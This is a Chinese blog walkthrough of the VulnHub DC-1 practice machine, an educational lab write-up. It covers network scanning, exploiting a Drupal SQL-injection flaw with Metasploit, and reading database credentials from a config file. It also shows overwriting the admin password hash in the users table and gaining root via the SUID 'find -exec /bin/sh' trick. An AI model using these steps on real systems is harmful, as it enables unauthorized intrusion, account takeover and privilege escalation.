【VulnHub靶机渗透】五:DC-1

川长思鸟来 2023-07-25 12:35 104阅读 0赞

VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学)。

文章较臃长,记录了不断测试并发现利用的过程。


文章目录

    • 一、相关简介
    • 二、信息搜集
    • 三、渗透步骤
        • 1、发现并利用漏洞
        • 2、依次得到flag
    • 四、知识总结

一、相关简介

靶机:

该靶机设定一些线索,引导用户得到相关信息,并使用了一个存在漏洞(代码执行漏洞)的CMS版本。

  • 名称:DC-1
  • 系统:Linux Debian
  • 难度:初学者
  • 目标:读取5个flag,拿到root权限

环境:

  • 靶机:DC-1——192,168.11.24
  • 攻击机:Kali——192.168.11.11
  • 工具:Nmap、dirb、BurpSuit、whatweb、MSF等

二、信息搜集

先进行主机发现,因为是局域网,所以可以直接使用arp-scan
在这里插入图片描述
当然也可以使用nmap

  1. nmap -sn 192.168.11.1/24

端口扫描,得到以下信息

  1. nmap -sS -Pn -sV -T4 -O 192.168.11.24

在这里插入图片描述
Web指纹识别,得到以下信息

  1. whatweb -v -a 3 http://192.168.11.24

在这里插入图片描述
Web目录爆破,扫出了很多文件,但是却基本都没有用处
在这里插入图片描述
总结一下,通过扫描以及访问,得到以下有用信息:

  • IP:192.168.11.24
  • OS:Linux 3.2 - 3.16
  • Linux_Kernel:3
  • 22端口:ssh服务
  • 80端口:http服务 - Apache服务器,CMF - Drupal V7 版本
  • 111端口:rpcbind服务,RPC

有用的Web目录:

  • http://192.168.11.24/index.php:**Drupal登录主页**
  • http://192.168.11.24/robots.txt:**Robots文件**

三、渗透步骤

1、发现并利用漏洞

在22端口的ssh服务爆破失败,111端口的RPC使用MSF利用失败后,将重点放在了Web站点的渗透上。

Web信息之前扫描目录时,得到了许多文件,但是基本都用处不大,只有以下两个稍有用处:

  • http://192.168.11.24/index.php:**Drupal登录主页**
  • http://192.168.11.24/robots.txt:**Robots文件**

查看Robots文件
在这里插入图片描述
可以看到有许多文件以及路径,这有利于之后进入系统后,对站点目录结构进行分析。

对Robots中出现的路径访问发现也没有有用信息,所以转战到主页,也就是Drupal登录界面
在这里插入图片描述
注:

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。

查看当前站点的指纹信息:
在这里插入图片描述
在使用字典爆破无果后,想到了上次的教训,于是在Kali中搜索是否存在已知版本漏洞,果然发现了问题:
在这里插入图片描述
存在SQL注入,使用MSF进行渗透,查找EXP,发现了SQL注入的EXP
在这里插入图片描述
还有一些其他的比较新的的漏洞,就用sql注入漏洞来利用吧,设置好参数后,运行即可建立session(如果失败的话,可以尝试其他比较新的利用模块)
在这里插入图片描述
输入 shell 得到 shell 环境,再使用以下 python 语句得到Terminal环境

  1. python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

2、依次得到flag

1)flag1

查看当前目录下的文件,发现了flag1
在这里插入图片描述
提示需要找当前 CMS 的配置文件,那就是configsetting等一些文件,可能会是配置文件。

2)flag2

找啊找,找啊找,终于在/var/www/sites/default/ 目录下的settings.php 文件中找到了flag2,还发现了数据库的信息,惊喜!
在这里插入图片描述
flag2 指出: 爆破和字典攻击不是唯一的获得成功方法,不可以用这些信息干什么。

言外之意,flag2 下边的数据库信息是可以利用的,尝试使用给出的账号密码连接mysql,成功进入数据库
在这里插入图片描述
接下来就是脱裤了,只有两个数据库,还有一个是系统库,所以另一个应该是会有相关信息
在这里插入图片描述
在drupaldb库中发现了一张users表,内容是Drupal账户信息,但是密码做了特殊加密处理,如下(111账户是测试创建的):

  1. select * from users;
  2. +-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
  3. | uid | name | pass | mail | theme | signature | signature_format | created | access | login | status | timezone | language | picture | init | data |
  4. +-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
  5. | 0 | | | | | | NULL | 0 | 0 | 0 | 0 | NULL | | 0 | | NULL |
  6. | 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com | | | NULL | 1550581826 | 1550583852 | 1550582362 | 1 | Australia/Melbourne | | 0 | admin@example.com | b:0; |
  7. | 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org | | | filtered_html | 1550581952 | 1550582225 | 1550582225 | 1 | Australia/Melbourne | | 0 | fred@example.org | b:0; |
  8. | 3 | 111 | $S$D3h/JrtlNcGVUI4lU0TPEiHcEOFAdhdwsL9tmhraptsmWrLHUPgR | 428857624@qq.com | | | filtered_html | 1586432228 | 0 | 0 | 0 | Australia/Melbourne | | 0 | 428857624@qq.com | NULL |
  9. +-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
  10. 4 rows in set (0.00 sec)

除此之外也没有其他可利用信息,既然有账户信息,又有密码,那么就可以自己加密一个密码,写入表中,就可以登录了。

在网上查找信息终于得到 Drupal 的加密方式以及加密文件位置:

  • 加密方式文件:./includes/password.inc,以下为部分代码:
    在这里插入图片描述
  • 加密文件(可执行):./scripts/password-hash.sh,以下为部分代码:
    在这里插入图片描述

加密文件./scripts/password-hash.sh是一个可执行文件,传入一个明文密码字符串,就输出加密后的密文。

但是当我执行的时候出现了如下报错

  1. PHP Warning: include_once(/var/www/scripts/includes/password.inc): failed to open stream: No such file or directory in /var/www/scripts/password-hash.sh on line 83
  2. PHP Warning: include_once(): Failed opening '/var/www/scripts/includes/password.inc' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/scripts/password-hash.sh on line 83
  3. PHP Warning: include_once(/var/www/scripts/includes/bootstrap.inc): failed to open stream: No such file or directory in /var/www/scripts/password-hash.sh on line 84
  4. PHP Warning: include_once(): Failed opening '/var/www/scripts/includes/bootstrap.inc' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/scripts/password-hash.sh on line 84
  5. PHP Fatal error: Call to undefined function user_hash_password() in /var/www/scripts/password-hash.sh on line 87

分析一下出错原因,报错中指出,'/var/www/scripts/includes/password.inc'文件找不到,但是刚才发现,includes目录并不在scripts目录下,因此会报错。

使用命令 cp -r ../includes ./ 复制整个includes目录至scripts目录,再次执行,成功对123456加密
在这里插入图片描述
格式与数据库中存在的密码一致,现在只需要将该密文写入user表中,可以选择更改数据或者是创建一个新用户,这里我直接修改已有账户admin的密码

  1. update users set pass='$S$DfBIXCmF.dJ5Ky2bWAMukxpsipRCGvQmXC.jnlUMbGIbySLzw7a0' where name='admin';

在这里插入图片描述
查看修改后的数据库账户信息,已经成功修改密码
在这里插入图片描述
3)flag3

现在就可以使用修改后的帐户信息去登录网站的CMS了,成功进入系统,经过一番倒腾后,在Content处发现了flag3:
在这里插入图片描述
flag3指出: 特殊权限是需要用到 find-exec 命令,也提到了shadow。就是说提权的话,需要用到以上两个命令,以及shadow文件。

4)flag4

既然提到了shadow,就去系统看看相关文件,shadow自然是没有权限,但是在passwd文件中发现了flag4
在这里插入图片描述
切换至/home/flag4目录下,得到了flag4.txt
在这里插入图片描述
flag4 没有什么信息,疑似大致是,要想拿到下一个flag,就需要拿到root权限。

5)flag5

我们查找一下flag5,发现的确是需要root权限,那就需要进行提权
在这里插入图片描述
之前flag3中已经说到了可以利用 find-exec 命令来提权,find提权的原理:

  • 如果find本身具有suid的权限,因此通过find执行的命令就是root权限。

详细可见这篇博客:【提权】Linux的SUID提权

以下为参考其他文章的知识点:

先使用find命令查找存在suid权限的命令,果然有find命令

  1. find / -type f -perm -u=s 2>/dev/null

在这里插入图片描述
使用以下命令提权至root权限:

  1. find ./ aaa -exec '/bin/sh' \;

命令解释:

  • find是suid权限,-exec 参数后面跟的command命令是调用shell程序,那么此时就会使用root权限开启了一个shell,即提权至root权限

在这里插入图片描述
进入root目录,得到flag5
在这里插入图片描述

四、知识总结

整体步骤:

  • 利用CMS已知漏洞进入系统,在网站目录下得到flag1
  • 根据flag1提示的配置文件,找到settings.php,得到flag2
  • 利用配置文件中的数据库账号密码进入mysql数据库,发现一张用户表users
  • 修改数据库中users表里的用户密码,利用新账户密码进入CMS,得到flag3
  • 在passwd下发现flag4用户,在flag4用户目录下得到flag4
  • 利用find的SUID权限以及 -exec 参数提权至root,得到flag5

知识点:

  • 提权时,可以利用SUID权限的命令,如find来进行root权限的操作。
  • 当find拥有SUID权限时,find执行的命令就会具有root权限,而 -exec 参数后边的值是可以执行的命令。
  • 当该参数值设定为调用 /bin/bash 或者 /bin/sh 时,就会使用root权限开启一个shell,提权成功。

发表评论

表情:
评论列表 (有 0 条评论,104人围观)

还没有评论,来说两句吧...

相关阅读

    相关 VulnHub靶机渗透DC-1

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜

    相关 VulnHub靶机渗透】四:Dina-1

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜

    相关 VulnHub靶机渗透】六:DC-2

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜

    相关 VulnHub靶机渗透】七:DC-4

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜